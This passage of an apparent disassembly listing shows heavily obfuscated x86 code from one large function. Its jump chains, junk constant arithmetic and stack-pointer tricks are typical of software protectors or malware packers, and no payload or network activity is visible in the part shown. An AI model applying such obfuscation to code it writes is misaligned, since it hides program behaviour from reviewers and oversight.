XREF: sub_581EE9+22BAAj push eax mov eax, 4 add edi, eax pop eax push edi push dword ptr [esp+4] push [esp-6E42h+arg_6E3A] jmp loc_594690 ; --------------------------------------------------------------------------- loc_59E9A0: ; CODE XREF: sub_581EE9+13139j mov eax, ecx pop ecx mov edi, [esp-6EA8h+arg_6E9E+2] add esp, 4 mov esi, eax pop eax add edi, 6E656A3Ah add edi, esi sub edi, 6E656A3Ah mov esi, [esp-6EB0h+arg_6EA8] jmp loc_5A5121 ; --------------------------------------------------------------------------- loc_59E9C2: ; CODE XREF: sub_581EE9+21D41j push ebp push 6AD650A7h jmp loc_594A33 ; --------------------------------------------------------------------------- loc_59E9CD: ; CODE XREF: sub_581EE9+17275j pop edx push ecx mov ecx, 4 jmp loc_5A1F5E ; --------------------------------------------------------------------------- loc_59E9D9: ; CODE XREF: sub_581EE9+16446j add ecx, 4 add ecx, 4 xchg ecx, [esp-6E6Eh+arg_6E64+2] pop esp jmp loc_591F76 ; --------------------------------------------------------------------------- loc_59E9EB: ; CODE XREF: sub_581EE9+1F5E6j mov [ecx], bh mov ebx, [esp-6E72h+arg_6E68+2] add esp, 4 jmp loc_593FE1 ; --------------------------------------------------------------------------- loc_59E9F8: ; CODE XREF: sub_581EE9+16154j xor [esp-6E64h+arg_6E5C], ebp xor ebp, [esp-6E64h+arg_6E5C] pop esp jmp loc_5A0E2E ; --------------------------------------------------------------------------- loc_59EA04: ; CODE XREF: sub_581EE9+163BEj mov ebp, esp jmp loc_59FEF6 ; --------------------------------------------------------------------------- loc_59EA0B: ; CODE XREF: sub_581EE9+1F463j and ebx, ebp pop ebp jmp loc_592A98 ; --------------------------------------------------------------------------- loc_59EA13: ; CODE XREF: sub_581EE9+1CE3Dj pop ebx add esp, 4 push 2DACh mov [esp-6ED4h+arg_6ECA+2], eax push 361Ah mov [esp-6ED0h+arg_6EC6+2], esi jmp loc_5A09C0 ; --------------------------------------------------------------------------- loc_59EA2F: ; CODE XREF: sub_581EE9+17704j add edx, 3C550939h jmp loc_596EC7 ; --------------------------------------------------------------------------- loc_59EA3A: ; CODE XREF: sub_581EE9+122C2j push [esp-6EC8h+arg_6EBE+2] pop esi add esp, 4 add edx, eax push ebp mov ebp, 5E4D2136h jmp loc_599407 ; --------------------------------------------------------------------------- loc_59EA51: ; CODE XREF: sub_581EE9+1276Bj mov ecx, [esp+0] push edx push edi mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp-6E88h+arg_6E80] pop esp push esp pop [esp-6E88h+arg_6E80] add [esp-6E8Ch+arg_6E84], 4 pop edx jmp loc_5A3186 ; --------------------------------------------------------------------------- loc_59EA73: ; CODE XREF: sub_581EE9+1FD3Fj pop edx push edi jmp loc_59BE57 ; --------------------------------------------------------------------------- loc_59EA7A: ; CODE XREF: sub_581EE9+17032j mov [esp-6EA4h+arg_6E9A+2], esi push 18B2h mov [esp-6EA0h+arg_6E96+2], eax mov eax, 3CDB7E47h shl eax, 5 sub eax, 658B23BBh xor eax, 200FFE95h jmp loc_59DE75 ; --------------------------------------------------------------------------- loc_59EA9C: ; CODE XREF: sub_581EE9+1BF23j add al, cl add al, 5Fh pop ecx jmp loc_598606 ; --------------------------------------------------------------------------- loc_59EAA6: ; CODE XREF: sub_581EE9+24DAAj pop ecx push ebp jmp loc_59E54A ; --------------------------------------------------------------------------- loc_59EAAD: ; CODE XREF: sub_581EE9+20E86j push edx mov edx, 4 add ecx, edx pop edx jmp loc_5A18A3 ; --------------------------------------------------------------------------- loc_59EABB: ; CODE XREF: sub_581EE9+147B2j push 725Fh mov [esp-6EA2h+arg_6E9A], ecx mov ecx, 24h push ebx push edx jmp loc_5A16BA ; --------------------------------------------------------------------------- loc_59EACF: ; CODE XREF: sub_581EE9+2078Bj mov eax, 0B0C15A2h mov ecx, 0B0C1586h jmp loc_5996FB ; --------------------------------------------------------------------------- loc_59EADE: ; CODE XREF: sub_581EE9+18AB0j push edx push 2D156636h jmp loc_5961BA ; --------------------------------------------------------------------------- loc_59EAE9: ; CODE XREF: sub_581EE9+1C596j sub edx, 16761CD6h push ebp mov ebp, 0CB245994h xor edx, ebp pop ebp sub ebp, edx jmp loc_5A41D3 ; --------------------------------------------------------------------------- loc_59EAFF: ; CODE XREF: sub_581EE9+130E7j push 4D69h mov [esp-6E84h+arg_6E7C], esi push edx mov edx, esp add edx, 4 push ebx mov ebx, esp add ebx, 4 sub ebx, 4 jmp loc_5A5A0A ; --------------------------------------------------------------------------- loc_59EB21: ; CODE XREF: sub_581EE9+177BDj inc ebx jmp loc_597353 ; --------------------------------------------------------------------------- push ebx mov ebx, 200h or [edi+1Ch], ebx jmp loc_59FC9C ; --------------------------------------------------------------------------- loc_59EB35: ; CODE XREF: sub_581EE9+16C3Dj xor ebx, edx jmp loc_593FF8 ; --------------------------------------------------------------------------- loc_59EB3C: ; CODE XREF: sub_581EE9+18EE9j xor ecx, 6C6B1B9Eh sub ecx, 7597530Ch dec ecx sub ecx, 61C682D2h add edx, ecx pop ecx xchg edx, [esp-6EA6h+arg_6E9E] mov esp, [esp-6EA6h+arg_6E9E] add eax, 4 jmp loc_5961A6 ; --------------------------------------------------------------------------- loc_59EB62: ; CODE XREF: sub_581EE9+1E48Cj inc edx xchg edx, ecx jmp loc_5A5028 ; --------------------------------------------------------------------------- loc_59EB6A: ; CODE XREF: sub_581EE9+20237j push [esp-6EA6h+arg_6E9E] pop edx add esp, 4 or [edi+1Ch], ebx push dword ptr [esp-6EAAh+arg_6EA2] mov ebx, [esp-6EA6h+arg_6E9E] jmp loc_59612D ; --------------------------------------------------------------------------- loc_59EB7F: ; CODE XREF: sub_581EE9+1537Aj xchg edx, dword ptr [esp-6EAAh+arg_6EA2] pop esp jmp loc_59762F ; --------------------------------------------------------------------------- loc_59EB88: ; CODE XREF: sub_581EE9+15816j push 24E6h mov [esp-6E72h+arg_6E68+2], edi push esp jmp loc_5A4F7A ; --------------------------------------------------------------------------- loc_59EB96: ; CODE XREF: sub_581EE9+1F633j shr eax, 6 not eax jmp loc_59BB56 ; --------------------------------------------------------------------------- loc_59EBA0: ; CODE XREF: sub_581EE9+12878j mov [esp-6E6Eh+arg_6E64+2], ebx jmp loc_5A3AE8 ; --------------------------------------------------------------------------- loc_59EBA8: ; CODE XREF: sub_581EE9+20289j push esi jmp loc_59555C ; --------------------------------------------------------------------------- loc_59EBAE: ; CODE XREF: sub_581EE9+1C705j neg ebx shr ebx, 3 sub ebx, 144E587Fh add edx, ebx pop ebx push ebx mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp-6E96h+arg_6E8E] jmp loc_5927C4 ; --------------------------------------------------------------------------- loc_59EBD3: ; CODE XREF: sub_581EE9+1C4CEj push 7E71518h pop ebx mov edi, 815C4889h sub edi, ebx pop ebx xor eax, edi pop edi sub ecx, 78EA32FBh add ecx, eax push edx mov edx, 1D010236h or edx, 6A111BE9h jmp loc_59D9DD ; --------------------------------------------------------------------------- loc_59EBFD: ; CODE XREF: sub_581EE9+10615j xor eax, esi pop esi shl eax, 8 jmp loc_5A6D66 ; --------------------------------------------------------------------------- loc_59EC08: ; CODE XREF: sub_581EE9+1D1DBj sub esp, 4 mov [esp-6EA4h+arg_6E9A+2], ecx push eax sub esp, 4 mov [esp-6E9Ch+arg_6E92+2], ebx jmp loc_598C82 ; --------------------------------------------------------------------------- loc_59EC1D: ; CODE XREF: sub_581EE9+1FAA1j mov [esp-6E9Ch+arg_6E92+2], esp push ebp mov ebp, 4 jmp loc_59C0D0 ; --------------------------------------------------------------------------- loc_59EC2B: ; CODE XREF: sub_581EE9+197FBj push edi mov edi, 4 add ebx, edi jmp loc_59E7E3 ; --------------------------------------------------------------------------- loc_59EC38: ; CODE XREF: sub_581EE9+2096Dj mov [esp+0], ebx push esp mov ebx, [esp-6E8Ch+arg_6E84] push ebx jmp loc_5A17B1 ; --------------------------------------------------------------------------- loc_59EC45: ; CODE XREF: sub_581EE9+1C2F4j sub esp, 4 mov [esp-6E92h+arg_6E8A], edi push ebp mov ebp, 1CE572C0h mov edi, ebp pop ebp push esi mov esi, 2597091Eh jmp loc_59B197 ; --------------------------------------------------------------------------- loc_59EC5F: ; CODE XREF: sub_581EE9+1EAD2j mov ebx, [esp-6E8Eh+arg_6E84+2] add esp, 4 jmp loc_599163 ; --------------------------------------------------------------------------- loc_59EC6D: ; CODE XREF: sub_581EE9+251D7j pop esi add edi, edx mov edx, [esp-6E96h+arg_6E8E] jmp loc_592BDC ; --------------------------------------------------------------------------- loc_59EC78: ; CODE XREF: sub_581EE9+1D832j pop ecx push edi mov edi, esp add edi, 4 add edi, 4 xor edi, [esp-6E96h+arg_6E8E] jmp loc_596F1B ; --------------------------------------------------------------------------- loc_59EC90: ; CODE XREF: sub_581EE9+1BF5Fj mov eax, edi pop edi mov esi, eax pop eax not esi and esi, 5E9B460Fh xchg ecx, esi not ecx xchg ecx, esi and esi, 169235A3h not esi push eax push 0FD6FCE5Bh pop eax xor esi, eax pop eax sub ecx, 24D22781h add ecx, esi add ecx, 24D22781h mov esi, [esp+0] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp jmp loc_59EF8D ; --------------------------------------------------------------------------- loc_59ECDF: ; CODE XREF: sub_581EE9+1D119j mov [esp+0], ebx jmp loc_5929D4 ; --------------------------------------------------------------------------- mov ax, [esp+0] push 1A93h mov [esp], ecx jmp loc_5A6E54 ; --------------------------------------------------------------------------- loc_59ECF8: ; CODE XREF: sub_581EE9+1949Cj push edx mov dh, 36h mov bl, dh mov edx, [esp-6E9Ch+arg_6E92+2] add esp, 4 mov dl, bl pop bx push cx mov ch, 77h jmp loc_594487 ; --------------------------------------------------------------------------- loc_59ED13: ; CODE XREF: sub_581EE9+168E1j mov edi, 35E72F25h push ecx mov ecx, 5A2A562Fh jmp loc_5A3A65 ; --------------------------------------------------------------------------- loc_59ED23: ; CODE XREF: sub_581EE9+17EFBj push [esp-6EA4h+arg_6E9A+2] jmp loc_59EA13 ; --------------------------------------------------------------------------- loc_59ED2B: ; CODE XREF: sub_581EE9+11139j pop ebp add ebp, 366F00C3h neg ebp jmp loc_5A5EF0 ; --------------------------------------------------------------------------- loc_59ED39: ; CODE XREF: sub_581EE9+21B0Fj add ebx, 4 xchg ebx, [esp-6E56h+arg_6E4C+2] pop esp sub esp, 4 mov [esp-6E56h+arg_6E4C+2], ebp push [esp-6E56h+arg_6E50+2] pop ebp jmp loc_5A3A6C ; --------------------------------------------------------------------------- loc_59ED50: ; CODE XREF: sub_581EE9+16C9Dj mov esi, 5353339Bh add eax, esi jmp loc_595712 ; --------------------------------------------------------------------------- loc_59ED5C: ; CODE XREF: sub_581EE9+1FB79j shl eax, 7 add eax, 0CD8CB127h sub ecx, eax pop eax mov esi, [esp-6E72h+arg_6E68+2] push ebx mov ebx, esp push ebp mov ebp, 4 add ebx, ebp pop ebp add ebx, 4 xchg ebx, [esp-6E6Eh+arg_6E64+2] pop esp add ebx, ecx push [esp-6E72h+arg_6E68+2] pop ecx add esp, 4 jmp loc_59E1E2 ; --------------------------------------------------------------------------- loc_59ED8B: ; CODE XREF: sub_581EE9+119A9j pop ebp pop edi jmp loc_5A19B7 ; --------------------------------------------------------------------------- loc_59ED92: ; CODE XREF: sub_581EE9+16BB3j add edx, 4 jmp loc_5A1B10 ; --------------------------------------------------------------------------- loc_59ED9D: ; CODE XREF: sub_581EE9+1D6B9j add ebx, ecx jmp loc_59A25C ; --------------------------------------------------------------------------- loc_59EDA4: ; CODE XREF: sub_581EE9+1BDEAj push ebx mov ebx, 43385365h shl ebx, 4 jmp loc_59B628 ; --------------------------------------------------------------------------- loc_59EDB2: ; CODE XREF: sub_581EE9+1ACE8j add [esp-6E78h+arg_6E72+2], edi jmp loc_5A1C4B ; --------------------------------------------------------------------------- loc_59EDBB: ; CODE XREF: sub_581EE9+1CA2Aj mov esi, esp add esi, 4 jmp loc_598A4A ; --------------------------------------------------------------------------- loc_59EDC8: ; CODE XREF: sub_581EE9+16182j sub esp, 4 jmp loc_5A3584 ; --------------------------------------------------------------------------- loc_59EDD0: ; CODE XREF: sub_581EE9+137E7j add eax, 55A7D3AAh shr eax, 6 push ebp push 5A3F02E0h pop ebp jmp loc_5A1474 ; --------------------------------------------------------------------------- loc_59EDE4: ; CODE XREF: sub_581EE9+157D5j mov eax, [esp-6E76h+arg_6E6E] jmp loc_595F6E ; --------------------------------------------------------------------------- loc_59EDEC: ; CODE XREF: sub_581EE9+1BD2Dj sub ebx, 6C3D533Ah add ebx, ecx jmp loc_59510A ; --------------------------------------------------------------------------- loc_59EDF9: ; CODE XREF: sub_581EE9+15F23j sub bl, 15h sub cl, 48h jmp loc_5A55F5 ; --------------------------------------------------------------------------- loc_59EE04: ; CODE XREF: sub_581EE9+1FE97j mov ebp, [esp-6E6Eh+arg_6E64+2] add esp, 4 jmp loc_5A083B ; --------------------------------------------------------------------------- loc_59EE0F: ; CODE XREF: sub_581EE9+1F82Dj push esp jmp loc_5A2F79 ; --------------------------------------------------------------------------- loc_59EE15: ; CODE XREF: sub_581EE9+19C59j push edi push [esp-6EAEh+arg_6EA8+2] jmp loc_5A459F ; --------------------------------------------------------------------------- loc_59EE1F: ; CODE XREF: sub_581EE9+11347j add ecx, esi push [esp-6EA0h+arg_6E96+2] pop esi push ebx mov ebx, esp add ebx, 4 add ebx, 4 jmp loc_596FA2 ; --------------------------------------------------------------------------- loc_59EE36: ; CODE XREF: sub_581EE9+23DC3j push 1EECh jmp loc_5A2362 ; --------------------------------------------------------------------------- lodsb push ecx mov cl, 0D9h xor cl, 16h or cl, 10h dec cl jmp loc_5A68A2 ; --------------------------------------------------------------------------- loc_59EE51: ; CODE XREF: sub_581EE9+1580Ej mov ebp, 1A6F123Bh xor esi, ebp pop ebp add eax, esi mov esi, [esp-6E76h+arg_6E6E] add esp, 4 add eax, 4 push eax jmp loc_59DB67 ; --------------------------------------------------------------------------- loc_59EE6D: ; CODE XREF: sub_581EE9+16CFEj mov edx, 4 jmp loc_5A446F ; --------------------------------------------------------------------------- loc_59EE77: ; CODE XREF: sub_581EE9+1AAA3j push ecx mov ecx, 9818BE5Fh xor edi, ecx pop ecx jmp loc_5A153D ; --------------------------------------------------------------------------- loc_59EE85: ; CODE XREF: sub_581EE9+10114j mov ebx, 3AA9150Dh jmp loc_5993B2 ; --------------------------------------------------------------------------- loc_59EE8F: ; CODE XREF: sub_581EE9+1DC18j shl eax, 3 sub eax, 0E3B9538Ch add ebp, eax pop eax push [esp-6EA6h+arg_6E9E] pop edx sub esp, 4 mov [esp-6EA2h+arg_6E9A], edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp-6EA2h+arg_6E9A] mov esp, [esp-6EA2h+arg_6E9A] inc ebp jmp loc_5A0F89 ; --------------------------------------------------------------------------- loc_59EEC1: ; CODE XREF: sub_581EE9+195D7j push 2825h mov [esp-6E96h+arg_6E8E], eax mov eax, 539102D3h jmp loc_5934AD ; --------------------------------------------------------------------------- loc_59EED3: ; CODE XREF: sub_581EE9+24253j add edi, 33B7A21h add edi, 1ADF1AC3h not edi not edi or edi, 2AC07501h sub edi, 0C29A3181h xor ebx, edi pop edi jmp loc_59DD6F ; --------------------------------------------------------------------------- push dword ptr [edi+38h] sub esp, 4 mov [esp-6E92h+arg_6E8A], esi mov esi, 1DBC0D64h add [esp-6E92h+arg_6E8E], esi mov esi, [esp-6E92h+arg_6E8A] sub esp, 4 mov [esp-6E8Eh+arg_6E84+2], edx mov edx, esp push ecx jmp loc_597974 ; --------------------------------------------------------------------------- loc_59EF1A: ; CODE XREF: sub_581EE9+21C71j pop edx push edx jmp loc_59DD15 ; --------------------------------------------------------------------------- loc_59EF21: ; CODE XREF: sub_581EE9+1789Bj xor eax, 348759BAh jmp loc_5A1D1A ; --------------------------------------------------------------------------- loc_59EF2B: ; CODE XREF: sub_581EE9+19CAEj btr word ptr [esp-6EA4h+arg_6E9A+2], ax pushf jmp loc_591F70 ; --------------------------------------------------------------------------- loc_59EF36: ; CODE XREF: sub_581EE9+21E16j mov edi, 2792610Fh sub edi, esi jmp loc_5A701B ; --------------------------------------------------------------------------- loc_59EF42: ; CODE XREF: sub_581EE9+1B7FFj mov [esp-6EA6h+arg_6E9E], edx push 701h mov [esp-6EA2h+arg_6E9A], ebp jmp loc_5A1235 ; --------------------------------------------------------------------------- loc_59EF52: ; CODE XREF: sub_581EE9+1BDA5j pop eax add edi, ecx pop ecx jmp loc_5A23BB ; --------------------------------------------------------------------------- mov cx, word ptr [esp-6E7Eh+arg_6E76] jmp loc_5A1252 ; --------------------------------------------------------------------------- loc_59EF64: ; CODE XREF: sub_581EE9+1A9AEj mov esp, [esp-6E8Ah+arg_6E80+2] jmp loc_5A1CA9 ; --------------------------------------------------------------------------- loc_59EF6C: ; CODE XREF: sub_581EE9+22B4Aj add ebp, 14491104h jmp loc_5971AF ; --------------------------------------------------------------------------- loc_59EF77: ; CODE XREF: sub_581EE9+23D80j push eax push edx mov dl, 0BFh mov ah, dl pop edx not ah sub ah, 31h push 6F7h jmp loc_59C6B5 ; --------------------------------------------------------------------------- loc_59EF8D: ; CODE XREF: sub_581EE9+1CDF1j push edi jmp loc_5A46CA ; --------------------------------------------------------------------------- loc_59EF93: ; CODE XREF: sub_581EE9+1D3F4j mov esp, [esp-6E70h+arg_6E68] mov [esp-6E70h+arg_6E68], ebx push [esp-6E70h+arg_6E68] jmp loc_5988B6 ; --------------------------------------------------------------------------- loc_59EFA1: ; CODE XREF: sub_581EE9+1C183j sub ebp, edi pop edi add edx, ebp mov ebp, [esp-6E9Ch+arg_6E92+2] add esp, 4 push ecx mov ecx, 2 add edx, ecx pop ecx xchg edx, [esp-6EA0h+arg_6E96+2] jmp loc_5950A3 ; --------------------------------------------------------------------------- loc_59EFBD: ; CODE XREF: sub_581EE9+21881j mov [esp-6EA0h+arg_6E96+2], edx sub esp, 4 mov [esp-6E9Ch+arg_6E92+2], edi push esp jmp loc_594FC0 ; --------------------------------------------------------------------------- loc_59EFCF: ; CODE XREF: sub_581EE9+17EBCj xor al, 4Fh shr al, 3 add al, 1 not al push ebx mov bh, 9 sub al, 0FBh jmp loc_5A1F76 ; --------------------------------------------------------------------------- loc_59EFE2: ; CODE XREF: sub_581EE9+12A4Dj add esp, 4 and eax, 2BE43AD4h sub eax, 15314005h shr eax, 2 jmp loc_592848 ; --------------------------------------------------------------------------- loc_59EFFA: ; CODE XREF: sub_581EE9+14425j mov esp, [esp-6EB2h+arg_6EA8+2] loc_59EFFD: ; CODE XREF: sub_581EE9+14A82j push 0B9Dh jmp loc_59ECDF ; --------------------------------------------------------------------------- loc_59F007: ; CODE XREF: sub_581EE9+1D433j pop ebx xor eax, edi pop edi push edx push 30083310h pop edx sub esp, 4 mov [esp-6EAEh+arg_6EA4+2], ebx mov ebx, 740C5A5Ah sub ebx, 0FFFFFFFFh sub ebx, 1 jmp loc_5999EC ; --------------------------------------------------------------------------- loc_59F031: ; CODE XREF: sub_581EE9+17E07j push ebp mov ebp, 68AAC869h push esi push 4CE224F1h pop esi jmp loc_5A552B ; --------------------------------------------------------------------------- loc_59F043: ; CODE XREF: sub_581EE9+1A771j add edx, 5D0579A8h jmp loc_5A2209 ; --------------------------------------------------------------------------- loc_59F04E: ; CODE XREF: sub_581EE9+19688j sub [esp-6E96h+arg_6E92], ebx sub [esp-6E96h+arg_6E92], 1B4F51B4h pop ebx mov eax, [esp-6E9Ah+arg_6E92] push ebp mov ebp, esp jmp loc_59E7E9 ; --------------------------------------------------------------------------- loc_59F066: ; CODE XREF: sub_581EE9+115C5j mov ebp, 0ED4F3Fh shl ebp, 8 not ebp xor ebp, 40D24A91h add ebp, 12E7861h jmp loc_5A09EA ; --------------------------------------------------------------------------- loc_59F081: ; CODE XREF: sub_581EE9+18DAEj sub eax, 530710D5h jmp loc_59BFF9 ; --------------------------------------------------------------------------- loc_59F08B: ; CODE XREF: sub_581EE9+16251j push 2198h push esp pop [esp-6EA8h+arg_6E9E+2] add [esp-6EACh+arg_6EA4], 4 pop edx push edi mov edi, 4 sub edx, 29D14D8Ch add edx, edi add edx, 29D14D8Ch pop edi sub edx, 4 jmp loc_5A6DC3 ; --------------------------------------------------------------------------- loc_59F0BC: ; CODE XREF: sub_581EE9+20639j pop ebx push ebp jmp loc_5A324B ; --------------------------------------------------------------------------- loc_59F0C3: ; CODE XREF: sub_581EE9+20677j pop esp jmp loc_59EC08 ; --------------------------------------------------------------------------- loc_59F0C9: ; CODE XREF: sub_581EE9+129CFj sub eax, edi pop edi jmp loc_5A61F5 ; --------------------------------------------------------------------------- loc_59F0D1: ; CODE XREF: sub_581EE9+1160Dj push eax jmp loc_5A025D ; --------------------------------------------------------------------------- loc_59F0D7: ; CODE XREF: sub_581EE9+193DFj or edi, 3A264135h jmp loc_5A3B4B ; --------------------------------------------------------------------------- loc_59F0E2: ; CODE XREF: sub_581EE9+24DFDj mov [esp-6E6Ch+arg_6E64], ebp mov ebp, 6A7C41DCh or ebp, 6E21743Fh sub ebp, 70D44A1h xor eax, ebp pop ebp push dword ptr [edi+eax*4] push [esp-6E6Ch+arg_6E64] jmp loc_59E872 ; --------------------------------------------------------------------------- loc_59F104: ; CODE XREF: sub_581EE9+2295Cj add esp, 4 jmp loc_59CE3F ; --------------------------------------------------------------------------- loc_59F10C: ; CODE XREF: sub_581EE9+22781j mov ebp, [esp-6E6Ch+arg_6E64] add esp, 4 push esi push [esp-6E6Ch+arg_6E68] pop esi pop [esp-6E6Ch+arg_6E64] mov esp, [esp-6E70h+arg_6E68] jmp loc_5A0885 ; --------------------------------------------------------------------------- loc_59F123: ; CODE XREF: sub_581EE9+1212Cj add ecx, 6B8610C9h pop esi add ecx, 2 sub esp, 4 mov [esp-6E7Eh+arg_6E76], ecx push dword ptr [esp-6E7Eh+arg_6E7A] mov ecx, [esp-6E7Ah+arg_6E72] push eax mov eax, esp jmp loc_5A434A ; --------------------------------------------------------------------------- loc_59F142: ; CODE XREF: sub_581EE9+16718j pop esp push ecx mov ecx, 497E2DADh shl ecx, 8 shr ecx, 8 sub ecx, 0ECA11FBEh xor edx, ecx mov ecx, dword ptr [esp-6EAAh+arg_6EA2] push ebp jmp loc_598C3B ; --------------------------------------------------------------------------- loc_59F160: ; CODE XREF: sub_581EE9+1B4C9j pop [esp-6E52h+arg_6E48+2] jmp loc_59E75B ; --------------------------------------------------------------------------- loc_59F168: ; CODE XREF: sub_581EE9+1AD43j not edi push esi jmp loc_5A2583 ; --------------------------------------------------------------------------- loc_59F170: ; CODE XREF: sub_581EE9+1DA44j mov ebx, 6E6A61ACh inc ebx sub ebx, 0FFFFFFFFh sub ebx, 0D151799h neg ebx sub ebx, 9EAAB5E7h add edx, ebx pop ebx add edx, 4 xchg edx, [esp-6EA6h+arg_6E9E] mov esp, [esp-6EA6h+arg_6E9E] push ebx mov ebx, 5E591B37h not ebx shr ebx, 8 shl ebx, 8 xor ebx, 0A1A6E404h sub edi, 3DD4714Bh jmp loc_598721 ; --------------------------------------------------------------------------- loc_59F1B8: ; CODE XREF: sub_581EE9+1AB06j push ecx push 23977B6Eh pop ecx push ebp mov ebp, 0AA222E5Fh sub ecx, ebp pop ebp mov ebp, ecx mov ecx, [esp-6E6Ah+arg_6E60+2] add esp, 4 shl ebp, 6 shr ebp, 6 and ebp, 0D822EB6h xor ebp, 65EF3022h push eax jmp loc_597268 ; --------------------------------------------------------------------------- loc_59F1E8: ; CODE XREF: sub_581EE9+246C8j mov di, 5363h add bp, di mov di, word ptr [esp-6E6Ah+arg_6E60+2] add esp, 2 shl bp, 1 dec bp push dx push edi push small 2A80h pop di and di, 6A42h jmp loc_5A2A29 ; --------------------------------------------------------------------------- loc_59F211: ; CODE XREF: sub_581EE9+23C48j pop ebx pop [esp-6E6Ch+arg_6E64] mov esp, [esp-6E70h+arg_6E68] push 45FBh mov [esp-6E6Ch+arg_6E64], edx push 40h jmp loc_598DE7 ; --------------------------------------------------------------------------- loc_59F22A: ; CODE XREF: sub_581EE9+10D6Ej mov [esp-6E7Eh+arg_6E76], ecx mov ecx, 118961FEh jmp loc_5997F2 ; --------------------------------------------------------------------------- loc_59F237: ; CODE XREF: sub_581EE9+17194j mov ebp, [esp-6E66h+arg_6E5C+2] push eax mov eax, esp add eax, 4 push 7D06h jmp loc_5A0AE7 ; --------------------------------------------------------------------------- loc_59F24C: ; CODE XREF: sub_581EE9+2512Dj dec ebp push ebx mov ebx, 0 sub ebx, ebp mov ebp, ebx pop ebx sub ebp, 0B262AB93h add eax, ebp pop ebp neg eax inc eax jmp loc_59CD82 ; --------------------------------------------------------------------------- loc_59F269: ; CODE XREF: sub_581EE9+20D03j mov eax, 198E0546h mov ecx, 198E054Ah sub ecx, eax pop eax push 6F3Ah mov [esp-6E62h+arg_6E58+2], ecx mov ecx, 790E71D8h add ecx, 5C041C4Dh jmp loc_596ACF ; --------------------------------------------------------------------------- loc_59F28E: ; CODE XREF: sub_581EE9+1E81Dj push ecx mov cl, 18h inc cl and cl, 53h jmp loc_5A549A ; --------------------------------------------------------------------------- loc_59F29B: ; CODE XREF: sub_581EE9+17BBFj mov esi, 0E73193A3h xor eax, esi pop esi xor edx, eax mov eax, [esp-6E7Ah+arg_6E72] add esp, 4 mov ebp, edx jmp loc_59AC06 ; --------------------------------------------------------------------------- loc_59F2B5: ; CODE XREF: sub_581EE9+1A756j mov [ecx], dl push [esp-6EA4h+arg_6E9A+2] pop ecx push ecx push esp pop ecx add ecx, 4 jmp loc_5A52A7 ; --------------------------------------------------------------------------- loc_59F2C9: ; CODE XREF: sub_581EE9+1B828j push esp pop edi push ecx mov ecx, 4 add edi, ecx pop ecx sub edi, 4 xchg edi, [esp-6E88h+arg_6E80] jmp loc_59EF93 ; --------------------------------------------------------------------------- loc_59F2E2: ; CODE XREF: sub_581EE9+15367j push edx not byte ptr [esp-6EA6h+arg_6E9E+1] pop edx push eax push ebx mov bl, 2Fh mov al, 0D0h jmp loc_5A5A6B ; --------------------------------------------------------------------------- loc_59F2F3: ; CODE XREF: sub_581EE9+1D90Cj push ebx mov ebx, 8F1B5DFh push 1198h mov [esp-6E9Ah+arg_6E92], ebx mov ebx, 6CBF754Ch sub edi, ebx mov ebx, [esp-6E9Ah+arg_6E92] add esp, 4 add edi, ebx push edx mov edx, 6CBF754Ch add edi, edx pop edx jmp loc_59F007 ; --------------------------------------------------------------------------- push esi push 4A0h jmp loc_5A04C0 ; --------------------------------------------------------------------------- loc_59F32C: ; CODE XREF: sub_581EE9+23303j shl ecx, 5 dec ecx jmp loc_5A4257 ; --------------------------------------------------------------------------- loc_59F335: ; CODE XREF: sub_581EE9+163D0j add eax, esi pop esi push eax push [esp-6ECCh+arg_6EC6+2] pop eax pop [esp-6ECCh+arg_6EC2+2] mov esp, [esp-6ED0h+arg_6EC6+2] push [esp-6ED0h+arg_6EC6+2] push [esp-6ECCh+arg_6EC2+2] pop eax push ebx mov ebx, esp add ebx, 4 push esi mov esi, 6CB007ABh sub esi, 2F0E5AC1h neg esi sub esi, 0C25E5312h sub ebx, esi jmp loc_59B0AE ; --------------------------------------------------------------------------- loc_59F36F: ; CODE XREF: sub_581EE9+1DD6Bj pop esp jmp loc_59AE8C ; --------------------------------------------------------------------------- loc_59F375: ; CODE XREF: sub_581EE9+1041Fj pop edi add edi, 1FA5388Fh mov ebx, [esp-6EACh+arg_6EA4] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp-6EA8h+arg_6E9E+2] pop esp mov ebp, [esp-6EACh+arg_6EA4] add esp, 4 sub eax, 486907CDh add eax, edi add eax, 486907CDh jmp loc_594379 ; --------------------------------------------------------------------------- loc_59F3A6: ; CODE XREF: sub_581EE9+106AAj mov edx, eax pop eax jmp loc_5946B5 ; --------------------------------------------------------------------------- loc_59F3AE: ; CODE XREF: sub_581EE9+15B02j or edi, ebx pop ebx neg edi push esi mov esi, 9604018h xor esi, 7B840AA5h neg esi not esi not esi dec esi sub esi, 58659BA4h jmp loc_599F20 ; --------------------------------------------------------------------------- loc_59F3D1: ; CODE XREF: sub_581EE9+25192j sub edx, esi pop esi not edx or edx, 1F0D5CDCh xor edx, 78CD898Dh or ebx, edx mov edx, [esp-6E84h+arg_6E7C] add esp, 4 shl ebx, 2 xor ebx, 7FDDFFF8h add eax, ebx pop ebx jmp loc_5960E2 ; --------------------------------------------------------------------------- loc_59F3FE: ; CODE XREF: sub_581EE9+17AADj mov esp, [esp-6EB4h+arg_6EAC] push ebx push ecx mov ecx, 0 jmp loc_599E5B ; --------------------------------------------------------------------------- loc_59F40D: ; CODE XREF: sub_581EE9+179F8j pop ecx xor edi, [esp-6E62h+arg_6E58+2] xor [esp-6E62h+arg_6E58+2], edi xor edi, [esp-6E62h+arg_6E58+2] jmp loc_5A2720 ; --------------------------------------------------------------------------- loc_59F41C: ; CODE XREF: sub_581EE9+18EC5j push eax mov al, 0F2h inc al jmp loc_59C50E ; --------------------------------------------------------------------------- loc_59F426: ; CODE XREF: sub_581EE9+2385Aj xor bh, 8Ah and ch, bh jmp loc_593A8B ; --------------------------------------------------------------------------- loc_59F430: ; CODE XREF: sub_581EE9+2076Ej pop esp add ecx, 5494637Ah push eax mov eax, 0CF22B6E1h xor ecx, eax pop eax mov ebp, ecx pop ecx sub ebp, 5D8E7F39h push eax mov eax, 272438D2h sub eax, 69B65796h jmp loc_59DC9C ; --------------------------------------------------------------------------- loc_59F459: ; CODE XREF: sub_581EE9+1E90Dj and eax, 36101C58h shr eax, 4 xor eax, 15982234h xor ebp, eax pop eax xor ebp, 78BD1E9Fh and ebx, ebp mov ebp, [esp-6E6Eh+arg_6E64+2] push 7032h mov [esp-6E6Ah+arg_6E60+2], esi sub esp, 4 